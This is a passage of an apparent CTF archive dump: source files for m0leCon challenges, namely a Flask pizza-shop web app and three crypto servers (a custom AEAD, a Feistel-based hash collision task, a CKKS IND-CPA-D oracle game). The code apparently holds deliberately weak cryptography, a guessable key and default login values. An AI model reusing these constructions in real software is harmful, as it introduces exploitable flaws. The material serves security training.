WTF_CSRF_METHODS={"POST", "PUT", "PATCH", "DELETE"},
WTF_CSRF_SECRET_KEY=secrets.token_hex(256),
WTF_CSRF_SSL_STRICT=True,
WTF_CSRF_TIME_LIMIT=1200,
WTF_I18N_ENABLED=True,
)
csrfprotect = CSRFProtect(app)
# init flask-login
app.config.update(
AUTH_HEADER_NAME="Authorization",
COOKIE_DURATION=timedelta(minutes=30),
COOKIE_HTTPONLY=True,
COOKIE_NAME="remember_token",
COOKIE_SAMESITE=True,
COOKIE_SECURE=True,
EXEMPT_METHODS=set(),
LOGIN_MESSAGE_CATEGORY="message",
LOGIN_MESSAGE="Please log in to access this page.",
REFRESH_MESSAGE_CATEGORY="message",
REFRESH_MESSAGE="Please reauthenticate to access this page.",
REMEMBER_COOKIE_DOMAIN=domain,
REMEMBER_COOKIE_DURATION=timedelta(minutes=30),
REMEMBER_COOKIE_HTTPONLY=True,
REMEMBER_COOKIE_NAME="remember_token",
REMEMBER_COOKIE_PATH="/",
REMEMBER_COOKIE_REFRESH_EACH_REQUEST=True,
REMEMBER_COOKIE_SECURE=True,
# SESSION_KEYS=set(["_user_id", "_remember", "_remember_seconds", "_id", "_fresh", "next", ]),
SESSION_PROTECTION="strong",
USE_SESSION_FOR_NEXT=True,
)
login_manager = LoginManager(app)
# init flask-sqlalchemy
app.config.update(
# SQLALCHEMY_DATABASE_URI="sqlite:///:memory:?cache=shared",
SQLALCHEMY_DATABASE_URI="sqlite:////tmp/db.db",
# SQLALCHEMY_BINDS={},
# SQLALCHEMY_ECHO=True,
# SQLALCHEMY_RECORD_QUERIES=True,
SQLALCHEMY_TRACK_MODIFICATIONS=False,
# SQLALCHEMY_ENGINE_OPTIONS={},
)
db = SQLAlchemy(app)
def register_blueprints(app):
from api import api
from auth import auth
from website import website
app.register_blueprint(auth)
app.register_blueprint(website)
app.register_blueprint(api)
register_blueprints(app)
with app.app_context():
# create all missing db tables
db.create_all()
# # default user
# User.register(
# username="user",
# password="password",
# )
# insert products
from models import Product, User
db.session.execute(db.delete(Product))
db.session.execute(
db.insert(Product),
[
{
"id": 0,
"name": "GOLDEN",
"price": 1e6,
"description": "The flagship of pizzas",
"image": "img/GOLDEN.jpg",
"theme": "golden",
},
{
"id": 1,
"name": "MARGHERITA",
"price": 6,
"description": "Pomodoro, Mozzarella, Basilico",
"image": "img/MARGHERITA.jpg",
"theme": "italian",
},
{
"id": 2,
"name": "MEDITERRANEA",
"price": 8,
"description": "Pomodoro, Mozzarella, Tonno, Cipolla",
"image": "img/MEDITERRANEA.jpg",
"theme": "italian",
},
{
"id": 3,
"name": "DIAVOLA",
"price": 8,
"description": "Pomodoro, Mozzarella, Salame piccante",
"image": "img/DIAVOLA.jpg",
"theme": "italian",
},
{
"id": 4,
"name": "WÜRSTY",
"price": 8,
"description": "Pomodoro, Mozzarella, Würstel",
"image": "img/WÜRSTY.jpg",
"theme": "italian",
},
{
"id": 5,
"name": "VEGGIE",
"price": 10,
"description": "Pomodoro, Mozzarella, Zucchine, Melanzane, Peperoni",
"image": "img/VEGGIE.jpg",
"theme": "italian",
},
{
"id": 6,
"name": "COUNTRY",
"price": 12,
"description": "Mozzarella, Gorgonzola, Rucola, Funghi, Salsiccia",
"image": "img/COUNTRY.jpg",
"theme": "italian",
},
{
"id": 7,
"name": "BOSCAIOLA",
"price": 10,
"description": "Pomodoro, Mozzarella, Prosciutto cotto, Funghi",
"image": "img/BOSCAIOLA.jpg",
"theme": "italian",
},
{
"id": 8,
"name": "4 FORMAGGI",
"price": 10,
"description": "Pomodoro, Mozzarella, Scamorza affumicata, Gorgonzola, Grana Padano D.O.P.",
"image": "img/4_FORMAGGI.jpg",
"theme": "italian",
},
{
"id": 9,
"name": "CAPRICCIO",
"price": 12,
"description": "Pomodoro, Mozzarella, Prosciutto cotto, Carciofi, Olive , Funghi",
"image": "img/CAPRICCIO.jpg",
"theme": "italian",
},
{
"id": 10,
"name": "VIVALDI",
"price": 12,
"description": "Pomodoro, Mozzarella, Prosciutto cotto, Carciofi, Olive, Funghi",
"image": "img/VIVALDI.jpg",
"theme": "italian",
},
{
"id": 11,
"name": "PRIMAVERA",
"price": 12,
"description": "Pomodoro, Mozzarella, Rucola, Grana Padano D.O.P., Prosciutto crudo nostrano",
"image": "img/PRIMAVERA.jpg",
"theme": "italian",
},
{
"id": 12,
"name": "BBQ CHICKEN",
"price": 12,
"description": "Mozzarella, Cipolla, Salsa BBQ, Pollo",
"image": "img/BBQ_CHICKEN.jpg",
"theme": "american",
},
{
"id": 13,
"name": "BACON & CHICKEN",
"price": 12,
"description": "Salsa Greca, Mozzarella, Bacon, Pomodorini, Pollo, Funghi",
"image": "img/BACON_&_CHICKEN.jpg",
"theme": "american",
},
{
"id": 14,
"name": "MEATZZA",
"price": 15,
"description": "Salsa Goldino, Mozzarella, Salame piccante, Würstel, Prosciutto cotto, Hamburger, Salsiccia",
"image": "img/MEATZZA.jpg",
"theme": "american",
},
{
"id": 15,
"name": "HAWAIANA",
"price": 10,
"description": "Pomodoro, Mozzarella, Prosciutto cotto, Ananas",
"image": "img/HAWAIANA.jpg",
"theme": "american",
},
{
"id": 16,
"name": "CHEESEBURGER",
"price": 15,
"description": "Salsa Goldino, Mozzarella, Cheddar, Bacon, Cipolla, Hamburger, Salsa Burger",
"image": "img/CHEESEBURGER.jpg",
"theme": "american",
},
{
"id": 17,
"name": "PEPPERONI PASSION",
"price": 15,
"description": "Pomodoro, Mozzarella, Jalapeño rosso, Grana Padano D.O.P., Scamorza affumicata, Doppio Salame piccante, Peperoncino macinato",
"image": "img/PEPPERONI_PASSION.jpg",
"theme": "american",
},
{
"id": 18,
"name": "PACIFIC VEGGIE",
"price": 12,
"description": "Salsa Goldino, Mozzarella, Origano, Funghi, Olive, Cipolla, Peperoni, Scamorza affumicata, Rucola (in cottura)",
"image": "img/PACIFIC_VEGGIE.jpg",
"theme": "american",
},
{
"id": 19,
"name": "EXTRAVAGANZZA",
"price": 15,
"description": "Pomodoro, Mozzarella, Würstel, Salame piccante, Prosciutto cotto, Cipolla, Funghi, Olive, Peperoni",
"image": "img/EXTRAVAGANZZA.jpg",
"theme": "american",
},
]
)
db.session.commit()
# print(db.session.execute(db.select(Product)).scalars().all())
@app.route("/teapot")
async def teapot():
abort(418)
if __name__ == "__main__":
app.run()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2023/Quals/web/goldinospizza/flask/website.py | ctfs/m0leCon/2023/Quals/web/goldinospizza/flask/website.py | import base64
import json
import string
import traceback
import zlib
from time import time
from flask_login import current_user, login_required
from models import Order, Product
from server import db
from flask import Blueprint, redirect, render_template, url_for
website = Blueprint("website", __name__)
@website.route("/")
@login_required
def index():
return render_template(
"index.html",
products=db.session.execute(
db.select(Product)
).scalars().all()
)
@website.route("/favicon.ico")
def favicon():
return redirect(url_for("static", filename="img/favicon.svg"))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2023/Quals/web/goldinospizza/flask/auth.py | ctfs/m0leCon/2023/Quals/web/goldinospizza/flask/auth.py | from flask_login import current_user, login_required, login_user, logout_user
from flask_wtf import FlaskForm
from flask_wtf.csrf import generate_csrf
from models import User
from server import app, db, login_manager
from sqlalchemy.orm import Session
from werkzeug.datastructures import ImmutableMultiDict
from wtforms import (BooleanField, PasswordField, StringField, SubmitField,
validators)
from flask import Blueprint, jsonify, redirect, render_template, request
auth = Blueprint("auth", __name__)
@login_manager.user_loader
def load_user(user_id):
with db.Session(db.engine) as session:
return session.execute(db.select(User).filter(
User.id == user_id)).scalars().one_or_none()
@auth.route("/csrf", methods=["GET"])
def csrf():
return jsonify({"csrfToken": generate_csrf()}), 200
def str_form_errors(form_errors):
str_errors = []
for k, errors in form_errors.items():
if k is None:
k = "Error"
for error in errors:
str_errors.append(f"{k}: {error}")
return ", ".join(str_errors)
class LoginForm(FlaskForm):
username = StringField(
label="Username",
validators=[
validators.InputRequired(),
],
id="username",
default="user",
name="username",
)
password = PasswordField(
label="Password",
validators=[
validators.InputRequired(),
],
id="password",
default="password",
name="password",
)
remember_me = BooleanField(
label="Remember me",
id="remember_me",
default=False,
name="remember_me",
)
submit = SubmitField(
label="Login",
id="submit",
name="submit",
)
_fail_message = "Wrong credentials"
def validate(self, extra_validators=None):
if not super().validate(extra_validators=extra_validators):
return False
with db.Session(db.engine) as session:
self._user = session.execute(db.select(User).filter(
User.username == self.username.data)).scalars().one_or_none()
if self._user is None:
self.form_errors.append(self._fail_message)
return False
if not self._user.verify(self.password.data):
self.form_errors.append(self._fail_message)
return False
return True
@auth.route("/login", methods=["GET", "POST"])
def login():
if current_user.is_authenticated:
return redirect("/")
form = LoginForm()
if form.validate_on_submit():
login_user(form._user, remember=form.remember_me.data)
return redirect("/")
return render_template("login.html", form=form)
login_manager.login_view = "auth.login"
def username_does_not_exist_validator(form, field):
if User.exists(username=field.data):
raise validators.ValidationError("username already exists")
return True
class RegisterForm(FlaskForm):
username = StringField(
"Username",
validators=[
validators.DataRequired(),
validators.Length(min=3),
username_does_not_exist_validator,
]
)
password = PasswordField(
"Password",
validators=[
validators.DataRequired(),
validators.Length(min=8),
]
)
confirm = PasswordField(
"Repeat password",
validators=[
validators.DataRequired(),
validators.EqualTo("password", message="passwords do not match"),
]
)
submit = SubmitField(
label="Submit",
id="submit",
name="submit",
)
@auth.route("/register", methods=["GET", "POST"])
def register():
form = RegisterForm()
if form.validate_on_submit():
User.register(
username=form.username.data,
password=form.password.data,
)
return redirect("/")
return render_template("register.html", form=form)
@auth.route("/logout", methods=["GET", "POST"])
@login_required
def logout():
logout_user()
return jsonify({"ok": True}), 200
# @login_manager.unauthorized_handler
# def unauthorized():
# return abort(401)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2023/Quals/web/goldinospizza/flask/models/user.py | ctfs/m0leCon/2023/Quals/web/goldinospizza/flask/models/user.py | from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError
from flask_login import UserMixin
from server import db
from sqlalchemy.orm.attributes import flag_modified
hasher = PasswordHasher()
class User(UserMixin, db.Model):
__tablename__ = "user"
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.Unicode, unique=True, nullable=False)
password = db.Column(db.String, nullable=False)
balance = db.Column(db.Numeric, nullable=False, default=30)
def get_id(self):
return str(self.id)
@classmethod
def exists(cls, username):
with db.Session(db.engine) as session:
return session.execute(db.select(cls).filter(cls.username == username)).scalars().one_or_none() is not None
@classmethod
def register(cls, username, password):
with db.Session(db.engine) as session:
user = session.execute(db.select(cls).filter(
cls.username == username)).scalars().one_or_none()
if user is None:
user = cls(username=username)
session.add(user)
user.password = hasher.hash(password)
flag_modified(user, "password")
session.commit()
return user
def verify(self, password):
try:
hasher.verify(self.password, password)
except VerifyMismatchError:
return False
if hasher.check_needs_rehash(self.password):
with db.Session(db.engine) as session:
self.password = hasher.hash(password)
flag_modified(self, "password")
session.commit()
return True
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2023/Quals/web/goldinospizza/flask/models/order.py | ctfs/m0leCon/2023/Quals/web/goldinospizza/flask/models/order.py | from server import db
class Order(db.Model):
__tablename__ = "order"
id = db.Column(db.Integer, primary_key=True)
user_id = db.Column(db.Integer, db.ForeignKey("user.id"), nullable=False)
product_id = db.Column(db.Integer, db.ForeignKey(
"product.id"), nullable=False)
product_quantity = db.Column(db.Integer, nullable=False)
product_price = db.Column(db.Numeric, nullable=False)
product = db.relationship("Product")
def _asdict(self):
return {
"id": self.id,
"user_id": self.user_id,
"product_id": self.product_id,
"product_quantity": self.product_quantity,
"product_price": self.product_price,
"product": self.product._asdict(),
}
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2023/Quals/web/goldinospizza/flask/models/__init__.py | ctfs/m0leCon/2023/Quals/web/goldinospizza/flask/models/__init__.py | from server import db
from .order import Order
from .product import Product
from .user import User
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2023/Quals/web/goldinospizza/flask/models/product.py | ctfs/m0leCon/2023/Quals/web/goldinospizza/flask/models/product.py | from server import db
class Product(db.Model):
__tablename__ = "product"
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.Unicode, nullable=False)
price = db.Column(db.Numeric, nullable=False)
description = db.Column(db.Unicode, nullable=True)
image = db.Column(db.Unicode, nullable=True)
theme = db.Column(db.Unicode, nullable=True)
def _asdict(self):
return {
"id": self.id,
"name": self.name,
"price": self.price,
"description": self.description,
"image": self.image,
"theme": self.theme,
}
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2025/Quals/crypto/Guess_Me/guess_me.py | ctfs/m0leCon/2025/Quals/crypto/Guess_Me/guess_me.py | #!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from hashlib import sha256
from hmac import compare_digest
from random import shuffle
import os
flag = os.environ.get("FLAG", "ptm{REDACTED}")
BLOCK_SIZE = 16
NUM_BITS = BLOCK_SIZE * 8
SBOX = (0xC, 0x5, 0x6, 0xB, 0x9, 0x0, 0xA, 0xD, 0x3, 0xE, 0xF, 0x8, 0x4, 0x7, 0x1, 0x2)
BIT_PERM = tuple((idx * 7) % NUM_BITS for idx in range(NUM_BITS))
def _pad_pkcs7(data, block_size = BLOCK_SIZE):
return data + bytes([(block_size - len(data)) % block_size]) * ((block_size - len(data)) % block_size)
def _xor_bytes(left, right):
return bytes(a ^ b for a, b in zip(left, right))
def _unpad_pkcs7(data, block_size = BLOCK_SIZE):
d = data[-1]
assert d <= len(data)
assert all([x==d for x in data[-d:]])
return data[:-d]
def _perm(data):
state = data
for _ in range(10):
sbox_out = bytearray(len(state))
for idx, value in enumerate(state):
sbox_out[idx] = (SBOX[value >> 4] << 4) | SBOX[value & 0x0F]
bits = []
for value in sbox_out:
for shift in range(8):
bits.append((value >> (7 - shift)) & 0x01)
permuted_bits = [0] * NUM_BITS
for idx, bit in enumerate(bits):
permuted_bits[BIT_PERM[idx]] = bit
state_out = bytearray(len(state))
for idx in range(len(state)):
byte = 0
for shift in range(8):
byte = (byte << 1) | permuted_bits[idx * 8 + shift]
state_out[idx] = byte
state = bytes(state_out)
return state
def _prf(block_index, key, data):
cipher = AES.new(key, AES.MODE_ECB)
mask = cipher.encrypt(sha256(block_index.to_bytes(4, 'big', signed=True)).digest())
result = _xor_bytes(data, mask[:BLOCK_SIZE])
result = _perm(result)
result = _xor_bytes(result, mask[-BLOCK_SIZE:])
return result
def enc_msg(key, nonce, message):
padded = _pad_pkcs7(message)
blocks = [padded[i : i + BLOCK_SIZE] for i in range(0, len(padded), BLOCK_SIZE)]
ciphertext_blocks = []
for idx, block in enumerate(blocks):
keystream = _prf(idx, key, nonce)
ciphertext_blocks.append(_xor_bytes(block, keystream))
return b"".join(ciphertext_blocks)
def enc_tag(key, nonce, additional_data, ciphertext):
ad_padded = _pad_pkcs7(nonce + additional_data)
ct_padded = _pad_pkcs7(ciphertext)
ad_blocks = [ad_padded[i : i + BLOCK_SIZE] for i in range(0, len(ad_padded), BLOCK_SIZE)]
ct_blocks = [ct_padded[i : i + BLOCK_SIZE] for i in range(0, len(ct_padded), BLOCK_SIZE)]
tag = ad_blocks[0]
for idx, block in enumerate(ad_blocks[1:], start=1):
keystream = _prf(idx + 1337, key, block)
tag = _xor_bytes(tag, keystream)
for idx, block in enumerate(ct_blocks):
keystream = _prf(idx + 31337, key, block)
tag = _xor_bytes(tag, keystream)
return _prf(-1, key, tag)
def encrypt(key, nonce, message, additional_data):
ciphertext = enc_msg(key, nonce, message)
tag = enc_tag(key, nonce, additional_data, ciphertext)
return ciphertext, tag
def decrypt(key, nonce, ciphertext, additional_data, tag):
assert len(key) == BLOCK_SIZE
assert len(nonce) == BLOCK_SIZE
assert len(ciphertext) % BLOCK_SIZE == 0
assert len(tag) == BLOCK_SIZE
expected_tag = enc_tag(key, nonce, additional_data, ciphertext)
if not compare_digest(expected_tag, tag):
return False
blocks = [ciphertext[i : i + BLOCK_SIZE] for i in range(0, len(ciphertext), BLOCK_SIZE)]
plaintext_blocks = []
for idx, block in enumerate(blocks):
keystream = _prf(idx, key, nonce)
plaintext_blocks.append(_xor_bytes(block, keystream))
plaintext_padded = b"".join(plaintext_blocks)
try:
plaintext = _unpad_pkcs7(plaintext_padded)
except:
return b"Invalid padding"
return plaintext
if __name__ == "__main__":
for r in range(5):
base = list("m0leCon")
shuffle(base)
key = bytes(sha256("".join(base).encode()).digest())[:BLOCK_SIZE]
for _ in range(16):
nonces = bytes.fromhex(input("Enter nonce (hex): ").strip())
nonces = [nonces[i:i+BLOCK_SIZE] for i in range(0, len(nonces), BLOCK_SIZE)]
additional_data = bytes.fromhex(input("Enter additional_data (hex): ").strip())
ciphertext = bytes.fromhex(input("Enter ciphertext (hex): ").strip())
tag = bytes.fromhex(input("Enter tag (hex): ").strip())
decs = [decrypt(key, nonce, ciphertext, additional_data, tag) for nonce in nonces]
auth = any(decs)
if auth:
if additional_data != b"pretty please":
print("Can you at least say 'please' next time?")
exit()
else:
if all([dec == b"next round please" for dec in decs]):
print("There you go!")
break
else:
print("This message does not seem ok :(")
else:
print("Tag is invalid")
else:
print("Better luck next time!")
exit()
print(flag) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2025/Quals/crypto/GrownFeistel/grown_feistel.py | ctfs/m0leCon/2025/Quals/crypto/GrownFeistel/grown_feistel.py | #!/usr/bin/env python3
import os
flag = os.environ.get("FLAG", "ptm{REDACTED}")
ROUNDS = 9
GF16_POLY = 0x13
SBOX = [
0xC, 0x5, 0x6, 0xB, 0x9, 0x0, 0xA, 0xD,
0x3, 0xE, 0xF, 0x8, 0x4, 0x7, 0x1, 0x2,
]
PERM = [
[0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1],
[0x0, 0x1, 0x2, 0x4, 0x8, 0x3, 0x6, 0xc, 0xb, 0x5, 0xa, 0x7, 0xe, 0xf, 0xd, 0x9],
[0x0, 0x1, 0x4, 0x3, 0xc, 0x5, 0x7, 0xf, 0x9, 0x2, 0x8, 0x6, 0xb, 0xa, 0xe, 0xd],
[0x0, 0x1, 0x8, 0xc, 0xa, 0xf, 0x1, 0x8, 0xc, 0xa, 0xf, 0x1, 0x8, 0xc, 0xa, 0xf],
[0x0, 0x1, 0x3, 0x5, 0xf, 0x2, 0x6, 0xa, 0xd, 0x4, 0xc, 0x7, 0x9, 0x8, 0xb, 0xe],
[0x0, 0x1, 0x6, 0x7, 0x1, 0x6, 0x7, 0x1, 0x6, 0x7, 0x1, 0x6, 0x7, 0x1, 0x6, 0x7],
[0x0, 0x1, 0xc, 0xf, 0x8, 0xa, 0x1, 0xc, 0xf, 0x8, 0xa, 0x1, 0xc, 0xf, 0x8, 0xa],
[0x0, 0x1, 0xb, 0x9, 0xc, 0xd, 0x6, 0xf, 0x3, 0xe, 0x8, 0x7, 0x4, 0xa, 0x2, 0x5],
[0x0, 0x1, 0x5, 0x2, 0xa, 0x4, 0x7, 0x8, 0xe, 0x3, 0xf, 0x6, 0xd, 0xc, 0x9, 0xb],
[0x0, 0x1, 0xa, 0x8, 0xf, 0xc, 0x1, 0xa, 0x8, 0xf, 0xc, 0x1, 0xa, 0x8, 0xf, 0xc],
[0x0, 0x1, 0x7, 0x6, 0x1, 0x7, 0x6, 0x1, 0x7, 0x6, 0x1, 0x7, 0x6, 0x1, 0x7, 0x6],
[0x0, 0x1, 0xe, 0xb, 0x8, 0x9, 0x7, 0xc, 0x4, 0xd, 0xa, 0x6, 0x2, 0xf, 0x5, 0x3],
[0x0, 0x1, 0xf, 0xa, 0xc, 0x8, 0x1, 0xf, 0xa, 0xc, 0x8, 0x1, 0xf, 0xa, 0xc, 0x8],
[0x0, 0x1, 0xd, 0xe, 0xa, 0xb, 0x6, 0x8, 0x2, 0x9, 0xf, 0x7, 0x5, 0xc, 0x3, 0x4],
[0x0, 0x1, 0x9, 0xd, 0xf, 0xe, 0x7, 0xa, 0x5, 0xb, 0xc, 0x6, 0x3, 0x8, 0x4, 0x2],
[0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1]
]
PERM = list(map(list, zip(*PERM)))
def encrypt_block(plaintext, master_key):
round_keys = _derive_round_keys(master_key)
left = int.from_bytes(plaintext[:8], "big")
right = int.from_bytes(plaintext[8:], "big")
for round_key in round_keys:
left, right = right, left ^ _round_function(right, round_key)
left, right = right, left
return left.to_bytes(8, "big") + right.to_bytes(8, "big")
def hash(message, iv):
state = iv
padded = _pad_message(message)
for offset in range(0, len(padded), 16):
block = padded[offset:offset + 16]
cipher_out = encrypt_block(block, state)
state = bytes(a ^ b ^ c for a, b, c in zip(cipher_out, state, block))
return state
def _derive_round_keys(master_key):
key_state = int.from_bytes(master_key, "big")
mask = (1 << 128) - 1
round_keys = []
for _ in range(ROUNDS):
round_keys.append((key_state >> 64) & 0xFFFFFFFFFFFFFFFF)
key_state = ((key_state << 7) | (key_state >> (128 - 7))) & mask
return round_keys
def _round_function(half_block, round_key):
state = half_block ^ round_key
nibbles = _int_to_nibbles(state, 16)
nibbles = [_apply_sbox(n) for n in nibbles]
nibbles = _mix_columns(nibbles)
return _nibbles_to_int(nibbles)
def _apply_sbox(nibble):
return SBOX[nibble & 0xF]
def _mix_columns(nibbles):
mixed = []
for row in PERM:
acc = 0
for idx in range(16):
acc ^= _mul(row[idx], nibbles[idx])
mixed.append(acc)
return mixed
def _mul(a, b):
a &= 0xF
b &= 0xF
result = 0
for _ in range(4):
if b & 1:
result ^= a
b >>= 1
carry = a & 0x8
a = (a << 1) & 0xF
if carry:
a ^= (GF16_POLY & 0xF)
return result & 0xF
def _int_to_nibbles(value, width):
return [(value >> (4 * (width - 1 - i))) & 0xF for i in range(width)]
def _nibbles_to_int(nibbles):
value = 0
for nibble in nibbles:
value = (value << 4) | (nibble & 0xF)
return value
def _pad_message(message):
message_length_bits = len(message) * 8
padding = b"\x80"
total_len = len(message) + 1
remainder = total_len % 16
if remainder:
padding += b"\x00" * (16 - remainder)
return message + padding + message_length_bits.to_bytes(16, "big")
if __name__ == "__main__":
for _ in range(2):
iv = os.urandom(16)
print(f"IV: {iv.hex()}")
a = bytes.fromhex(input("> "))
b = bytes.fromhex(input("> "))
ha = hash(a, iv)
hb = hash(b, iv)
if ha != hb or a == b:
print("Nope!")
exit(0)
print(flag) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2025/Quals/crypto/One_More_Bit/fhe_server.py | ctfs/m0leCon/2025/Quals/crypto/One_More_Bit/fhe_server.py | from __future__ import annotations
import json
import sys
from typing import Any, Callable, Dict, List
import os
from ind_cpa_d_bitwise_game import (
AddCircuit,
BitwiseCKKSIndCpaDGame,
HomomorphicCKKSFunction,
MultiplyCircuit,
SquareCircuit,
)
flag = os.environ.get("FLAG", "ptm{REDACTED}")
CIRCUIT_FACTORIES: Dict[str, Callable[[], HomomorphicCKKSFunction]] = {
"square": SquareCircuit,
"add": AddCircuit,
"sum": AddCircuit,
"mul": MultiplyCircuit,
"multiply": MultiplyCircuit,
}
class INDCPADServer:
"""Simple line-oriented server exposing the IND-CPA-D oracles to a client."""
def __init__(
self,
*,
mult_depth: int = 2,
scale_mod_size: int = 50,
bit_length: int = 64,
) -> None:
self.game = BitwiseCKKSIndCpaDGame(
mult_depth=mult_depth,
scale_mod_size=scale_mod_size,
batch_size=1,
bit_length=bit_length,
)
self._resolved = False
# ------------------------------------------------------------------ #
# Public API
def encrypt(self, m0: float, m1: float) -> Dict[str, Any]:
ciphertext = self.game.enc_oracle(m0, m1)
index = len(self.game.state) - 1
return {"status": "ok", "state_index": index}
def eval(self, function: str, indices: List[int]) -> Dict[str, Any]:
circuit = self._resolve_circuit(function)
self.game.eval_oracle(tuple(indices), circuit)
index = len(self.game.state) - 1
return {"status": "ok", "state_index": index}
def decrypt(self, index: int, position: int) -> Dict[str, Any]:
bit = self.game.dec_oracle(index, position)
if bit is None:
return {"status": "denied", "reason": "bit-mismatch"}
return {"status": "ok", "bit": int(bit)}
def guess(self, bit: int) -> Dict[str, Any]:
if self._resolved:
return {"status": "error", "error": "game already resolved"}
self._resolved = True
if (bit & 1) == self.game.challenge_bit:
return {"status": "ok", "result": "WIN"}
return {"status": "ok", "result": "LOSE"}
def handle_request(self, request: Dict[str, Any]) -> Dict[str, Any]:
command = request.get("command")
if command is None:
raise ValueError("missing command field")
command = str(command).lower()
if command == "encrypt":
return self.encrypt(float(request["m0"]), float(request["m1"]))
if command == "eval":
function = str(request["function"])
indices = [int(idx) for idx in request["indices"]]
return self.eval(function, indices)
if command == "decrypt":
return self.decrypt(int(request["index"]), int(request["position"]))
if command == "guess":
return self.guess(int(request["bit"]))
raise ValueError(f"unknown command '{command}'")
# ------------------------------------------------------------------ #
# Helpers
@staticmethod
def _resolve_circuit(descriptor: str) -> HomomorphicCKKSFunction:
keyword = descriptor.lower()
builder = CIRCUIT_FACTORIES.get(keyword)
if builder is None:
raise ValueError(f"unsupported circuit '{descriptor}'")
return builder()
def main() -> None:
rounds = 100
for current_round in range(1, rounds + 1):
server = INDCPADServer()
print(json.dumps({"status": "new_round", "round": current_round}))
sys.stdout.flush()
while True:
line = sys.stdin.readline()
if not line:
return
line = line.strip()
if not line:
continue
try:
request = json.loads(line)
except json.JSONDecodeError:
print(json.dumps({"status": "error", "error": "invalid json"}))
sys.stdout.flush()
continue
try:
response = server.handle_request(request)
except Exception as exc:
response = {"status": "error", "error": str(exc)}
print(json.dumps(response))
sys.stdout.flush()
result = response.get("result")
if result == "WIN":
break
if result == "LOSE":
return
print(json.dumps({"status": "ok", "flag": flag}))
sys.stdout.flush()
if __name__ == "__main__":
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2025/Quals/crypto/One_More_Bit/ind_cpa_d_bitwise_game.py | ctfs/m0leCon/2025/Quals/crypto/One_More_Bit/ind_cpa_d_bitwise_game.py | from __future__ import annotations
import secrets
from dataclasses import dataclass
from typing import List, Protocol, Tuple
from openfhe import (
CCParamsCKKSRNS,
Ciphertext,
CryptoContext,
GenCryptoContext,
PKESchemeFeature,
Plaintext,
)
DEBUG_GAME = False
def float_to_bits(value: float, bit_length: int, scale_bits: int) -> Tuple[int, ...]:
"""
Convert a CKKS plaintext slot to a fixed-length bit tuple.
Values are first scaled by 2^scale_bits and rounded to the nearest integer.
The integer is then represented in two's complement with bit_length bits.
"""
scaled = int(round(value * (1 << scale_bits)))
scaled = abs(scaled)
mask = (1 << bit_length) - 1
twos_complement = scaled & mask
return tuple((twos_complement >> i) & 1 for i in range(bit_length))
class HomomorphicCKKSFunction(Protocol):
"""Interface for describing circuits usable by the Eval oracle."""
num_inputs: int
def plaintext(self, values: Tuple[float, ...]) -> float:
"""Evaluate the circuit on cleartext data."""
def ciphertext(
self, cc: CryptoContext, ciphertexts: Tuple[Ciphertext, ...]
) -> Ciphertext:
"""Evaluate the same circuit homomorphically on ciphertext inputs."""
@dataclass
class OracleRow:
"""Single row stored by the challenger."""
m0: float
m1: float
ciphertext: Ciphertext
class BitwiseCKKSIndCpaDGame:
"""
CKKS IND-CPA-D challenger with bit-guarded decryption oracle.
The challenger maintains a state of tuples (m0, m1, bits0, bits1, Enc(m_b)).
The decryption oracle reveals Dec(Enc(m_b)) only if the requested bit index
matches in both bitstrings.
"""
def __init__(
self,
mult_depth: int = 2,
scale_mod_size: int = 50,
batch_size: int = 1,
*,
challenge_bit: int | None = None,
bit_length: int = 64,
) -> None:
params = CCParamsCKKSRNS()
params.SetMultiplicativeDepth(mult_depth)
params.SetScalingModSize(scale_mod_size)
params.SetBatchSize(batch_size)
self.cc: CryptoContext = GenCryptoContext(params)
self.cc.Enable(PKESchemeFeature.PKE)
